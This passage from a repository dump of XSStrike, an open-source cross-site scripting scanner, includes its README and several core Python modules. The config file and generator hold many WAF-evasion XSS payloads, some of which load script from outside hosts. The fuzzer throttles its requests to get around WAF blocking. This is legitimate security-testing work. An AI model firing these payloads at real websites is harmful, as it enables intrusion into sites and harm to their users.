mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "<h1 align=\"center\">\n  <br>\n  <a href=\"https://github.com/s0md3v/XSStrike\"><img src=\"https://image.ibb.co/cpuYoA/xsstrike-logo.png\" alt=\"XSStrike\"></a>\n  <br>\n  XSStrike\n  <br>\n</h1>\n\n<h4 align=\"center\">Advanced XSS Detection Suite</h4>\n\n<p align=\"center\">\n  <a href=\"https://github.com/s0md3v/XSStrike/releases\">\n    <img src=\"https://img.shields.io/github/release/s0md3v/XSStrike.svg\">\n  </a>\n  <a href=\"https://travis-ci.com/s0md3v/XSStrike\">\n    <img src=\"https://img.shields.io/travis/com/s0md3v/XSStrike.svg\">\n  </a>\n  <a href=\"https://github.com/s0md3v/XSStrike/issues?q=is%3Aissue+is%3Aclosed\">\n      <img src=\"https://img.shields.io/github/issues-closed-raw/s0md3v/XSStrike.svg\">\n  </a>\n</p>\n\n![multi xss](https://image.ibb.co/gOCV5L/Screenshot-2018-11-19-13-33-49.png)\n\n<p align=\"center\">\n  <a href=\"https://github.com/s0md3v/XSStrike/wiki\">XSStrike Wiki</a> •\n  <a href=\"https://github.com/s0md3v/XSStrike/wiki/Usage\">Usage</a> •\n  <a href=\"https://github.com/s0md3v/XSStrike/wiki/FAQ\">FAQ</a> •\n  <a href=\"https://github.com/s0md3v/XSStrike/wiki/For-Developers\">For Developers</a> •\n  <a href=\"https://github.com/s0md3v/XSStrike/wiki/Compatibility-&-Dependencies\">Compatibility</a> •\n  <a href=\"https://github.com/s0md3v/XSStrike#gallery\">Gallery</a>\n</p>\n\nXSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.\n\nInstead of injecting payloads and checking it works like all the other tools do, XSStrike analyses the response with multiple parsers and then crafts payloads that are guaranteed to work by context analysis integrated with a fuzzing engine.\nHere are some examples of the payloads generated by XSStrike:\n```\n}]};(confirm)()//\\\n<A%0aONMouseOvER%0d=%0d[8].find(confirm)>z\n</tiTlE/><a%0donpOintErentER%0d=%0d(prompt)``>z\n</SCRiPT/><DETAILs/+/onpoINTERenTEr%0a=%0aa=prompt,a()//\n```\nApart from that, XSStrike has crawling, fuzzing, parameter discovery, WAF detection capabilities as well. It also scans for DOM XSS vulnerabilities.\n\n### Main Features\n- Reflected and DOM XSS scanning\n- Multi-threaded crawling\n- Context analysis\n- Configurable core\n- WAF detection & evasion\n- Outdated JS lib scanning\n- Intelligent payload generator\n- Handmade HTML & JavaScript parser\n- Powerful fuzzing engine\n- Blind XSS support\n- Highly researched work-flow\n- Complete HTTP support\n- Bruteforce payloads from a file\n- Powered by [Photon](https://github.com/s0md3v/Photon), [Zetanize](https://github.com/s0md3v/zetanize) and [Arjun](https://github.com/s0md3v/Arjun)\n- Payload Encoding\n\n### Installation\nEnter the following commands one by one in terminal:\n```\ngit clone https://github.com/s0md3v/XSStrike\ncd XSStrike\npip install -r requirements.txt --break-system-packages\n```\n\nNow, XSStrike can be used at any time as follows:\n```\npython xsstrike.py\n```\n\n### Documentation\n- [Usage](https://github.com/s0md3v/XSStrike/wiki/Usage)\n- [Compatibility & Dependencies](https://github.com/s0md3v/XSStrike/wiki/Compatibility-&-Dependencies)\n\n### FAQ\n- [It says fuzzywuzzy isn't installed but it is.](https://github.com/s0md3v/XSStrike/wiki/FAQ#it-says-fuzzywuzzy-is-not-installed-but-its)\n- [What's up with Blind XSS?](https://github.com/s0md3v/XSStrike/wiki/FAQ#whats-up-with-blind-xss)\n- [Why XSStrike boasts that it is the most advanced XSS detection suite?](https://github.com/s0md3v/XSStrike/wiki/FAQ#why-xsstrike-boasts-that-it-is-the-most-advanced-xss-detection-suite)\n- [I like the project, what enhancements and features I can expect in future?](https://github.com/s0md3v/XSStrike/wiki/FAQ#i-like-the-project-what-enhancements-and-features-i-can-expect-in-future)\n- [What's the false positive/negative rate?](https://github.com/s0md3v/XSStrike/wiki/FAQ#whats-the-false-positivenegative-rate)\n- [Tool xyz works against the target, while XSStrike doesn't!](https://github.com/s0md3v/XSStrike/wiki/FAQ#tool-xyz-works-against-the-target-while-xsstrike-doesnt)\n- [Can I copy it's code?](https://github.com/s0md3v/XSStrike/wiki/FAQ#can-i-copy-its-code)\n- [What if I want to embed it into a proprietary software?](https://github.com/s0md3v/XSStrike/wiki/FAQ#what-if-i-want-to-embed-it-into-a-proprietary-software)\n\n### Gallery\n#### DOM XSS\n![dom xss](https://image.ibb.co/bQaQ5L/Screenshot-2018-11-19-13-48-19.png)\n#### Reflected XSS\n![multi xss](https://image.ibb.co/gJogUf/Screenshot-2018-11-19-14-19-36.png)\n#### Crawling\n![crawling](https://image.ibb.co/e6Rezf/Screenshot-2018-11-19-13-50-59.png)\n#### Fuzzing\n![fuzzing](https://image.ibb.co/fnhuFL/Screenshot-2018-11-19-14-04-46.png)\n#### Bruteforcing payloads from a file\n![bruteforcing](https://image.ibb.co/dy5EFL/Screenshot-2018-11-19-14-08-36.png)\n#### Interactive HTTP Headers Prompt\n![headers](https://image.ibb.co/ecNph0/Screenshot-2018-11-19-14-29-35.png)\n#### Hidden Parameter Discovery\n![arjun](https://image.ibb.co/effjh0/Screenshot-2018-11-19-14-16-51.png)\n\n### Contribution, Credits & License\nWays to contribute\n- Suggest a feature\n- Report a bug\n- Fix something and open a pull request\n- Help me document the code\n- Spread the word\n\nLicensed under the GNU GPLv3, see [LICENSE](LICENSE) for more information.\n\nThe WAF signatures in `/db/wafSignatures.json` are taken & modified from [sqlmap](https://github.com/sqlmapproject/sqlmap). I extracted them from sqlmap's waf detection modules which can found [here](https://github.com/sqlmapproject/sqlmap/blob/master/waf/) and converted them to JSON.\\\n`/plugins/retireJS.py` is a modified version of [retirejslib](https://github.com/FallibleInc/retirejslib/).\n"
  },
  {
    "path": "core/__init__.py",
    "content": "\n"
  },
  {
    "path": "core/checker.py",
    "content": "import copy\nfrom fuzzywuzzy import fuzz\nimport re\nfrom urllib.parse import unquote\n\nfrom core.config import xsschecker\nfrom core.requester import requester\nfrom core.utils import replaceValue, fillHoles\n\n\ndef checker(url, params, headers, GET, delay, payload, positions, timeout, encoding):\n    checkString = 'st4r7s' + payload + '3nd'\n    if encoding:\n        checkString = encoding(unquote(checkString))\n    response = requester(url, replaceValue(\n        params, xsschecker, checkString, copy.deepcopy), headers, GET, delay, timeout).text.lower()\n    reflectedPositions = []\n    for match in re.finditer('st4r7s', response):\n        reflectedPositions.append(match.start())\n    filledPositions = fillHoles(positions, reflectedPositions)\n    #  Itretating over the reflections\n    num = 0\n    efficiencies = []\n    for position in filledPositions:\n        allEfficiencies = []\n        try:\n            reflected = response[reflectedPositions[num]\n                :reflectedPositions[num]+len(checkString)]\n            efficiency = fuzz.partial_ratio(reflected, checkString.lower())\n            allEfficiencies.append(efficiency)\n        except IndexError:\n            pass\n        if position:\n            reflected = response[position:position+len(checkString)]\n            if encoding:\n                checkString = encoding(checkString.lower())\n            efficiency = fuzz.partial_ratio(reflected, checkString)\n            if reflected[:-2] == ('\\\\%s' % checkString.replace('st4r7s', '').replace('3nd', '')):\n                efficiency = 90\n            allEfficiencies.append(efficiency)\n            efficiencies.append(max(allEfficiencies))\n        else:\n            efficiencies.append(0)\n        num += 1\n    return list(filter(None, efficiencies))\n"
  },
  {
    "path": "core/colors.py",
    "content": "import sys\nimport os\nimport platform\n\ncolors = True  # Output should be colored\nmachine = sys.platform  # Detecting the os of current system\ncheckplatform = platform.platform() # Get current version of OS\nif machine.lower().startswith(('os', 'win', 'darwin', 'ios')):\n    colors = False  # Colors shouldn't be displayed on mac & windows\nif checkplatform.startswith(\"Windows-10\") and int(platform.version().split(\".\")[2]) >= 10586:\n    colors = True\n    os.system('')   # Enables the ANSI\nif not colors:\n    end = red = white = green = yellow = run = bad = good = info = que = ''\nelse:\n    white = '\\033[97m'\n    green = '\\033[92m'\n    red = '\\033[91m'\n    yellow = '\\033[93m'\n    end = '\\033[0m'\n    back = '\\033[7;91m'\n    info = '\\033[93m[!]\\033[0m'\n    que = '\\033[94m[?]\\033[0m'\n    bad = '\\033[91m[-]\\033[0m'\n    good = '\\033[92m[+]\\033[0m'\n    run = '\\033[97m[~]\\033[0m'\n"
  },
  {
    "path": "core/config.py",
    "content": "changes = '''Negligible DOM XSS false positives;x10 faster crawling'''\nglobalVariables = {}  # it holds variables during runtime for collaboration across modules\n\ndefaultEditor = 'nano'\nblindPayload = ''  # your blind XSS payload\nxsschecker = 'v3dm0s'  # A non malicious string to check for reflections and stuff\n\n#  More information on adding proxies: http://docs.python-requests.org/en/master/user/advanced/#proxies\nproxies = {'http': 'http://0.0.0.0:8080', 'https': 'http://0.0.0.0:8080'}\n\nminEfficiency = 90  # payloads below this efficiency will not be displayed\n\ndelay = 0  # default delay between http requests\nthreadCount = 10  # default number of threads\ntimeout = 10  # default number of http request timeout\n\n# attributes that have special properties\nspecialAttributes = ['srcdoc', 'src']\n\nbadTags = ('iframe', 'title', 'textarea', 'noembed',\n           'style', 'template', 'noscript')\n\ntags = ('html', 'd3v', 'a', 'details')  # HTML Tags\n\n# \"Things\" that can be used between js functions and breakers e.g. '};alert()//\njFillings = (';')\n# \"Things\" that can be used before > e.g. <tag attr=value%0dx>\nlFillings = ('', '%0dx')\n# \"Things\" to use between event handler and = or between function and =\neFillings = ('%09', '%0a', '%0d',  '+')\nfillings = ('%09', '%0a', '%0d', '/+/')  # \"Things\" to use instead of space\n\neventHandlers = {  # Event handlers and the tags compatible with them\n    'ontoggle': ['details'],\n    'onpointerenter': ['d3v', 'details', 'html', 'a'],\n    'onmouseover': ['a', 'html', 'd3v']\n}\n\nfunctions = (  # JavaScript functions to get a popup\n    '[8].find(confirm)', 'confirm()',\n    '(confirm)()', 'co\\u006efir\\u006d()',\n    '(prompt)``', 'a=prompt,a()')\n\npayloads = (  # Payloads for filter & WAF evasion\n    '\\'\"</Script><Html Onmouseover=(confirm)()//'\n    '<imG/sRc=l oNerrOr=(prompt)() x>',\n    '<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',\n    '<deTails open oNToggle=confi\\u0072m()>',\n    '<img sRc=l oNerrOr=(confirm)() x>',\n    '<svg/x=\">\"/onload=confirm()//',\n    '<svg%0Aonload=%09((pro\\u006dpt))()//',\n    '<iMg sRc=x:confirm`` oNlOad=e\\u0076al(src)>',\n    '<sCript x>confirm``</scRipt x>',\n    '<Script x>prompt()</scRiPt x>',\n    '<sCriPt sRc=//14.rs>',\n    '<embed//sRc=//14.rs>',\n    '<base href=//14.rs/><script src=/>',\n    '<object//data=//14.rs>',\n    '<s=\" onclick=confirm``>clickme',\n    '<svG oNLoad=co\\u006efirm&#x28;1&#x29>',\n    '\\'\"><y///oNMousEDown=((confirm))()>Click',\n    '<a/href=javascript&colon;co\\u006efirm&#40;&quot;1&quot;&#41;>clickme</a>',\n    '<img src=x onerror=confir\\u006d`1`>',\n    '<svg/onload=co\\u006efir\\u006d`1`>')\n\nfuzzes = (  # Fuzz strings to test WAFs\n    '<test', '<test//', '<test>', '<test x>', '<test x=y', '<test x=y//',\n    '<test/oNxX=yYy//', '<test oNxX=yYy>', '<test onload=x', '<test/o%00nload=x',\n    '<test sRc=xxx', '<test data=asa', '<test data=javascript:asa', '<svg x=y>',\n    '<details x=y//', '<a href=x//', '<emBed x=y>', '<object x=y//', '<bGsOund sRc=x>',\n    '<iSinDEx x=y//', '<aUdio x=y>', '<script x=y>', '<script//src=//', '\">payload<br/attr=\"',\n    '\"-confirm``-\"', '<test ONdBlcLicK=x>', '<test/oNcoNTeXtMenU=x>', '<test OndRAgOvEr=x>')\n\nheaders = {  # default headers\n    'User-Agent': '$',\n    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n    'Accept-Language': 'en-US,en;q=0.5',\n    'Accept-Encoding': 'gzip,deflate',\n    'Connection': 'close',\n    'DNT': '1',\n    'Upgrade-Insecure-Requests': '1',\n}\n\nblindParams = [  # common paramtere names to be bruteforced for parameter discovery\n    'redirect', 'redir', 'url', 'link', 'goto', 'debug', '_debug', 'test', 'get', 'index', 'src', 'source', 'file',\n    'frame', 'config', 'new', 'old', 'var', 'rurl', 'return_to', '_return', 'returl', 'last', 'text', 'load', 'email',\n    'mail', 'user', 'username', 'password', 'pass', 'passwd', 'first_name', 'last_name', 'back', 'href', 'ref', 'data', 'input',\n    'out', 'net', 'host', 'address', 'code', 'auth', 'userid', 'auth_token', 'token', 'error', 'keyword', 'key', 'q', 'query', 'aid',\n    'bid', 'cid', 'did', 'eid', 'fid', 'gid', 'hid', 'iid', 'jid', 'kid', 'lid', 'mid', 'nid', 'oid', 'pid', 'qid', 'rid', 'sid',\n    'tid', 'uid', 'vid', 'wid', 'xid', 'yid', 'zid', 'cal', 'country', 'x', 'y', 'topic', 'title', 'head', 'higher', 'lower', 'width',\n    'height', 'add', 'result', 'log', 'demo', 'example', 'message']\n"
  },
  {
    "path": "core/dom.py",
    "content": "import re\n\nfrom core.colors import end, red, yellow\n\nif len(end) < 1:\n    end = red = yellow = '*'\n\ndef dom(response):\n    highlighted = []\n    sources = r'''\\b(?:document\\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\\.(href|search|hash|pathname)|window\\.name|history\\.(pushState|replaceState)(local|session)Storage)\\b'''\n    sinks = r'''\\b(?:eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\\.(src|text|textContent|innerText)|.*?\\.onEventName|document\\.(write|writeln)|.*?\\.innerHTML|Range\\.createContextualFragment|(document|window)\\.location)\\b'''\n    scripts = re.findall(r'(?i)(?s)<script[^>]*>(.*?)</script>', response)\n    sinkFound, sourceFound = False, False\n    for script in scripts:\n        script = script.split('\\n')\n        num = 1\n        allControlledVariables = set()\n        try:\n            for newLine in script:\n                line = newLine\n                parts = line.split('var ')\n                controlledVariables = set()\n                if len(parts) > 1:\n                    for part in parts:\n                        for controlledVariable in allControlledVariables:\n                            if controlledVariable in part:\n                                controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\\\\$'))\n                pattern = re.finditer(sources, newLine)\n                for grp in pattern:\n                    if grp:\n                        source = newLine[grp.start():grp.end()].replace(' ', '')\n                        if source:\n                            if len(parts) > 1:\n                               for part in parts:\n                                    if source in part:\n                                        controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\\\\$'))\n                            line = line.replace(source, yellow + source + end)\n                for controlledVariable in controlledVariables:\n                    allControlledVariables.add(controlledVariable)\n                for controlledVariable in allControlledVariables:\n                    matches = list(filter(None, re.findall(r'\\b%s\\b' % controlledVariable, line)))\n                    if matches:\n                        sourceFound = True\n                        line = re.sub(r'\\b%s\\b' % controlledVariable, yellow + controlledVariable + end, line)\n                pattern = re.finditer(sinks, newLine)\n                for grp in pattern:\n                    if grp:\n                        sink = newLine[grp.start():grp.end()].replace(' ', '')\n                        if sink:\n                            line = line.replace(sink, red + sink + end)\n                            sinkFound = True\n                if line != newLine:\n                    highlighted.append('%-3s %s' % (str(num), line.lstrip(' ')))\n                num += 1\n        except MemoryError:\n            pass\n    if sinkFound or sourceFound:\n        return highlighted\n    else:\n        return []\n"
  },
  {
    "path": "core/encoders.py",
    "content": "import base64 as b64\nimport re\n\n\ndef base64(string):\n    if re.match(r'^[A-Za-z0-9+\\/=]+$', string) and (len(string) % 4) == 0:\n        return b64.b64decode(string.encode('utf-8')).decode('utf-8')\n    else:\n        return b64.b64encode(string.encode('utf-8')).decode('utf-8')\n"
  },
  {
    "path": "core/filterChecker.py",
    "content": "from core.checker import checker\n\n\ndef filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):\n    positions = occurences.keys()\n    sortedEfficiencies = {}\n    # adding < > to environments anyway because they can be used in all contexts\n    environments = set(['<', '>'])\n    for i in range(len(positions)):\n        sortedEfficiencies[i] = {}\n    for i in occurences:\n        occurences[i]['score'] = {}\n        context = occurences[i]['context']\n        if context == 'comment':\n            environments.add('-->')\n        elif context == 'script':\n            environments.add(occurences[i]['details']['quote'])\n            environments.add('</scRipT/>')\n        elif context == 'attribute':\n            if occurences[i]['details']['type'] == 'value':\n                if occurences[i]['details']['name'] == 'srcdoc':  # srcdoc attribute accepts html data with html entity encoding\n                    environments.add('&lt;')  # so let's add the html entity\n                    environments.add('&gt;')  # encoded versions of < and >\n            if occurences[i]['details']['quote']:\n                environments.add(occurences[i]['details']['quote'])\n    for environment in environments:\n        if environment:\n            efficiencies = checker(\n                url, params, headers, GET, delay, environment, positions, timeout, encoding)\n            efficiencies.extend([0] * (len(occurences) - len(efficiencies)))\n            for occurence, efficiency in zip(occurences, efficiencies):\n                occurences[occurence]['score'][environment] = efficiency\n    return occurences\n"
  },
  {
    "path": "core/fuzzer.py",
    "content": "import copy\nfrom random import randint\nfrom time import sleep\nfrom urllib.parse import unquote\n\nfrom core.colors import end, red, green, yellow\nfrom core.config import fuzzes, xsschecker\nfrom core.requester import requester\nfrom core.utils import replaceValue, counter\nfrom core.log import setup_logger\n\nlogger = setup_logger(__name__)\n\n\ndef fuzzer(url, params, headers, GET, delay, timeout, WAF, encoding):\n    for fuzz in fuzzes:\n        if delay == 0:\n            delay = 0\n        t = delay + randint(delay, delay * 2) + counter(fuzz)\n        sleep(t)\n        try:\n            if encoding:\n                fuzz = encoding(unquote(fuzz))\n            data = replaceValue(params, xsschecker, fuzz, copy.deepcopy)\n            response = requester(url, data, headers, GET, delay/2, timeout)\n        except:\n            logger.error('WAF is dropping suspicious requests.')\n            if delay == 0:\n                logger.info('Delay has been increased to %s6%s seconds.' % (green, end))\n                delay += 6\n            limit = (delay + 1) * 50\n            timer = -1\n            while timer < limit:\n                logger.info('\\rFuzzing will continue after %s%i%s seconds.\\t\\t\\r' % (green, limit, end))\n                limit -= 1\n                sleep(1)\n            try:\n                requester(url, params, headers, GET, 0, 10)\n                logger.good('Pheww! Looks like sleeping for %s%i%s seconds worked!' % (\n                    green, ((delay + 1) * 2), end))\n            except:\n                logger.error('\\nLooks like WAF has blocked our IP Address. Sorry!')\n                break\n        if encoding:\n            fuzz = encoding(fuzz)\n        if fuzz.lower() in response.text.lower():  # if fuzz string is reflected in the response\n            result = ('%s[passed]  %s' % (green, end))\n        # if the server returned an error (Maybe WAF blocked it)\n        elif str(response.status_code)[:1] != '2':\n            result = ('%s[blocked] %s' % (red, end))\n        else:  # if the fuzz string was not reflected in the response completely\n            result = ('%s[filtered]%s' % (yellow, end))\n        logger.info('%s %s' % (result, fuzz))\n"
  },
  {
    "path": "core/generator.py",
    "content": "from core.config import xsschecker, badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions\nfrom core.jsContexter import jsContexter\nfrom core.utils import randomUpper as r, genGen, extractScripts\n\n\ndef generator(occurences, response):\n    scripts = extractScripts(response)\n    index = 0\n    vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(),\n               6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()}\n    for i in occurences:\n        context = occurences[i]['context']\n        if context == 'html':\n            lessBracketEfficiency = occurences[i]['score']['<']\n            greatBracketEfficiency = occurences[i]['score']['>']\n            ends = ['//']\n            badTag = occurences[i]['details']['badTag'] if 'badTag' in occurences[i]['details'] else ''\n            if greatBracketEfficiency == 100:\n                ends.append('>')\n            if lessBracketEfficiency:\n                payloads = genGen(fillings, eFillings, lFillings,\n                                  eventHandlers, tags, functions, ends, badTag)\n                for payload in payloads:\n                    vectors[10].add(payload)\n        elif context == 'attribute':\n            found = False\n            tag = occurences[i]['details']['tag']\n            Type = occurences[i]['details']['type']\n            quote = occurences[i]['details']['quote'] or ''\n            attributeName = occurences[i]['details']['name']\n            attributeValue = occurences[i]['details']['value']\n            quoteEfficiency = occurences[i]['score'][quote] if quote in occurences[i]['score'] else 100\n            greatBracketEfficiency = occurences[i]['score']['>']\n            ends = ['//']\n            if greatBracketEfficiency == 100:\n                ends.append('>')\n            if greatBracketEfficiency == 100 and quoteEfficiency == 100:\n                payloads = genGen(fillings, eFillings, lFillings,\n                                  eventHandlers, tags, functions, ends)\n                for payload in payloads:\n                    payload = quote + '>' + payload\n                    found = True\n                    vectors[9].add(payload)\n            if quoteEfficiency == 100:\n                for filling in fillings:\n                    for function in functions:\n                        vector = quote + filling + r('autofocus') + \\\n                            filling + r('onfocus') + '=' + quote + function\n                        found = True\n                        vectors[8].add(vector)\n            if quoteEfficiency == 90:\n                for filling in fillings:\n                    for function in functions:\n                        vector = '\\\\' + quote + filling + r('autofocus') + filling + \\\n                            r('onfocus') + '=' + function + filling + '\\\\' + quote\n                        found = True\n                        vectors[7].add(vector)\n            if Type == 'value':\n                if attributeName == 'srcdoc':\n                    if occurences[i]['score']['&lt;']:\n                        if occurences[i]['score']['&gt;']:\n                            del ends[:]\n                            ends.append('%26gt;')\n                        payloads = genGen(\n                            fillings, eFillings, lFillings, eventHandlers, tags, functions, ends)\n                        for payload in payloads:\n                            found = True\n                            vectors[9].add(payload.replace('<', '%26lt;'))\n                elif attributeName == 'href' and attributeValue == xsschecker:\n                    for function in functions:\n                        found = True\n                        vectors[10].add(r('javascript:') + function)\n                elif attributeName.startswith('on'):\n                    closer = jsContexter(attributeValue)\n                    quote = ''\n                    for char in attributeValue.split(xsschecker)[1]:\n                        if char in ['\\'', '\"', '`']:\n                            quote = char\n                            break\n                    suffix = '//\\\\'\n                    for filling in jFillings:\n                        for function in functions:\n                            vector = quote + closer + filling + function + suffix\n                            if found:\n                                vectors[7].add(vector)\n                            else:\n                                vectors[9].add(vector)\n                    if quoteEfficiency > 83:\n                        suffix = '//'\n                        for filling in jFillings:\n                            for function in functions:\n                                if '=' in function:\n                                    function = '(' + function + ')'\n                                if quote == '':\n                                    filling = ''\n                                vector = '\\\\' + quote + closer + filling + function + suffix\n                                if found:\n                                    vectors[7].add(vector)\n                                else:\n                                    vectors[9].add(vector)\n                elif tag in ('script', 'iframe', 'embed', 'object'):\n                    if attributeName in ('src', 'iframe', 'embed') and attributeValue == xsschecker:\n                        payloads = ['//15.rs', '\\\\/\\\\\\\\\\\\/\\\\15.rs']\n                        for payload in payloads:\n                            vectors[10].add(payload)\n                    elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker:\n                        for function in functions:\n                            found = True\n                            vectors[10].add(r('javascript:') + function)\n                    elif quoteEfficiency == greatBracketEfficiency == 100:\n                        payloads = genGen(fillings, eFillings, lFillings,\n                                          eventHandlers, tags, functions, ends)\n                        for payload in payloads:\n                            payload = quote + '>' + r('</script/>') + payload\n                            found = True\n                            vectors[11].add(payload)\n        elif context == 'comment':\n            lessBracketEfficiency = occurences[i]['score']['<']\n            greatBracketEfficiency = occurences[i]['score']['>']\n            ends = ['//']\n            if greatBracketEfficiency == 100:\n                ends.append('>')\n            if lessBracketEfficiency == 100:\n                payloads = genGen(fillings, eFillings, lFillings,\n                                  eventHandlers, tags, functions, ends)\n                for payload in payloads:\n                    vectors[10].add(payload)\n        elif context == 'script':\n            if scripts:\n                try:\n                    script = scripts[index]\n                except IndexError:\n                    script = scripts[0]\n            else:\n                continue\n            closer = jsContexter(script)\n            quote = occurences[i]['details']['quote']\n            scriptEfficiency = occurences[i]['score']['</scRipT/>']\n            greatBracketEfficiency = occurences[i]['score']['>']\n            breakerEfficiency = 100\n            if quote:\n                breakerEfficiency = occurences[i]['score'][quote]\n            ends = ['//']\n            if greatBracketEfficiency == 100:\n                ends.append('>')\n            if scriptEfficiency == 100:\n                breaker = r('</script/>')\n                payloads = genGen(fillings, eFillings, lFillings,\n                                  eventHandlers, tags, functions, ends)\n                for payload in payloads:\n                    vectors[10].add(payload)\n            if closer:\n                suffix = '//\\\\'\n                for filling in jFillings:\n                    for function in functions:\n                        vector = quote + closer + filling + function + suffix\n                        vectors[7].add(vector)\n            elif breakerEfficiency > 83:\n                prefix = ''\n                suffix = '//'\n                if breakerEfficiency != 100:\n                    prefix = '\\\\'\n                for filling in jFillings:\n                    for function in functions:\n                        if '=' in function:\n                            function = '(' + function + ')'\n                        if quote == '':\n                            filling = ''\n                        vector = prefix + quote + closer + filling + function + suffix\n                        vectors[6].add(vector)\n            index += 1\n    return vectors\n"
  },
  {
    "path": "core/htmlParser.py",
    "content": "import re\n\nfrom core.config import badTags, xsschecker\nfrom core.utils import isBadContext, equalize, escaped, extractScripts\n\n\ndef htmlParser(response, encoding):\n    rawResponse = response  # raw response returned by requests\n    response = response.text  # response content\n    if encoding:  # if the user has specified an encoding, encode the probe in that\n        response = response.replace(encoding(xsschecker), xsschecker)\n    reflections = response.count(xsschecker)\n    position_and_context = {}\n    environment_details = {}\n    clean_response = re.sub(r'<!--[.\\s\\S]*?-->', '', response)\n    script_checkable = clean_response\n    for script in extractScripts(script_checkable):\n        occurences = re.finditer(r'(%s.*?)$' % xsschecker, script)\n        if occurences:\n            for occurence in occurences:\n                thisPosition = occurence.start(1)\n                position_and_context[thisPosition] = 'script'\n                environment_details[thisPosition] = {}\n                environment_details[thisPosition]['details'] = {'quote' : ''}\n                for i in range(len(occurence.group())):\n                    currentChar = occurence.group()[i]\n                    if currentChar in ('/', '\\'', '`', '\"') and not escaped(i, occurence.group()):\n                        environment_details[thisPosition]['details']['quote'] = currentChar\n                    elif currentChar in (')', ']', '}', '}') and not escaped(i, occurence.group()):\n                        break\n                script_checkable = script_checkable.replace(xsschecker, '', 1)\n    if len(position_and_context) < reflections:\n        attribute_context = re.finditer(r'<[^>]*?(%s)[^>]*?>' % xsschecker, clean_response)\n        for occurence in attribute_context:\n            match = occurence.group(0)\n            thisPosition = occurence.start(1)\n            parts = re.split(r'\\s', match)\n            tag = parts[0][1:]\n            for part in parts:\n                if xsschecker in part:\n                    Type, quote, name, value = '', '', '', ''\n                    if '=' in part:\n                        quote = re.search(r'=([\\'`\"])?', part).group(1)\n                        name_and_value = part.split('=')[0], '='.join(part.split('=')[1:])\n                        if xsschecker == name_and_value[0]:\n                            Type = 'name'\n                        else:\n                            Type = 'value'\n                        name = name_and_value[0]\n                        value = name_and_value[1].rstrip('>').rstrip(quote).lstrip(quote)\n                    else:\n                        Type = 'flag'\n                    position_and_context[thisPosition] = 'attribute'\n                    environment_details[thisPosition] = {}\n                    environment_details[thisPosition]['details'] = {'tag' : tag, 'type' : Type, 'quote' : quote, 'value' : value, 'name' : name}\n    if len(position_and_context) < reflections:\n        html_context = re.finditer(xsschecker, clean_response)\n        for occurence in html_context:\n            thisPosition = occurence.start()\n            if thisPosition not in position_and_context:\n                position_and_context[occurence.start()] = 'html'\n                environment_details[thisPosition] = {}\n                environment_details[thisPosition]['details'] = {}\n    if len(position_and_context) < reflections:\n        comment_context = re.finditer(r'<!--[\\s\\S]*?(%s)[\\s\\S]*?-->' % xsschecker, response)\n        for occurence in comment_context:\n            thisPosition = occurence.start(1)\n            position_and_context[thisPosition] = 'comment'\n            environment_details[thisPosition] = {}\n            environment_details[thisPosition]['details'] = {}\n    database = {}\n    for i in sorted(position_and_context):\n        database[i] = {}\n        database[i]['position'] = i\n        database[i]['context'] = position_and_context[i]\n        database[i]['details'] = environment_details[i]['details']\n\n    bad_contexts = re.finditer(r'(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\\s\\S]*(%s)[.\\s\\S]*</\\1>' % xsschecker, response)\n    non_executable_contexts = []\n    for each in bad_contexts:\n        non_executable_contexts.append([each.start(), each.end(), each.group(1)])\n\n    if non_executable_contexts:\n        for key in database.keys():\n            position = database[key]['position']\n            badTag = isBadContext(position, non_executable_contexts)\n            if badTag:\n                database[key]['details']['badTag'] = badTag\n            else:\n                database[key]['details']['badTag'] = ''\n    return database\n"
  },
  {
    "path": "core/jsContexter.py",
    "content": "import re\n\nfrom core.config import xsschecker\nfrom core.utils import stripper\n\n\ndef jsContexter(script):\n    broken = script.split(xsschecker)\n    pre = broken[0]\n    #  remove everything that is between {..}, \"...\" or '...'\n    pre = re.sub(r'(?s)\\{.*?\\}|\\(.*?\\)|\".*?\"|\\'.*?\\'', '', pre)\n    breaker = ''\n    num = 0\n    for char in pre:  # iterate over the remaining characters\n        if char == '{':\n            breaker += '}'\n        elif char == '(':\n            breaker += ';)'  # yes, it should be ); but we will invert the whole thing later\n        elif char == '[':\n            breaker += ']'\n        elif char == '/':\n            try:\n                if pre[num + 1] == '*':\n                    breaker += '/*'\n            except IndexError:\n                pass\n        elif char == '}':  # we encountered a } so we will strip off \"our }\" because this one does the job\n            breaker = stripper(breaker, '}')\n        elif char == ')':  # we encountered a ) so we will strip off \"our }\" because this one does the job\n            breaker = stripper(breaker, ')')\n        elif breaker == ']':  # we encountered a ] so we will strip off \"our }\" because this one does the job\n            breaker = stripper(breaker, ']')\n        num += 1\n    return breaker[::-1]  # invert the breaker string\n"
  },
  {
